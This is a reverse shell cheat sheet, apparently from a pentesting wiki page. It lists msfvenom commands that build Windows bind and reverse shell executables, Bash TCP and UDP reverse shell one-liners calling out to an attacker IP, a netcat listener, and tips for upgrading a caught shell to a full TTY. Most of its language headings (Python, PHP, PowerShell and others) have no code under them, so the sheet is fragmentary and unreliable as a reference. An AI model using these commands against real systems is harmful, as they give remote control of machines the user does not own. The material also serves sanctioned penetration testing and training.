Reverse Shell Cheat Sheet

2 ways to use Msfvenom Payload with Netcat

1st Method

msfvenom –p windows/shell_hidden_bind_tcp ahost=192.168.0.107 lport=8956 –f exe > /root/Desktop/root.exe

2nd Method

msfvenom -p windows/shell_reverse_tcp lhost=ip lport=8888 –f exe > /root/Desktop/1.exe

Reverse Shell

Bash TCP

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

Bash UDP

Victim:
sh -i >& /dev/udp/127.0.0.1/4242 0>&1

Listener:
nc -u -lvp 4242

Socat

Static socat binary can be found at https://github.com/andrew-d/static-binaries

Perl

Python

Linux only

IPv4

IPv4

IPv6

Windows only

PHP

Ruby

Golang

Netcat Traditional

Netcat OpenBsd

Ncat

OpenSSL

Powershell

Awk

Java

War

Lua

Linux only

Windows and Linux

NodeJS

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

Meterpreter Shell

Windows Staged reverse TCP

Windows Stageless reverse TCP

Linux Staged reverse TCP

Linux Stageless reverse TCP

Other platforms

Spawn TTY Shell

In order to catch a shell, you need to listen on the desired port. rlwrap will enhance the shell, allowing you to clear the screen with [CTRL] + [L].

Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.

⚠️ OhMyZSH might break this trick, a simple sh is recommended

The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect

or use socat binary to get a fully tty reverse shell

Spawn a TTY shell from an interpreter

Last updated

Was this helpful?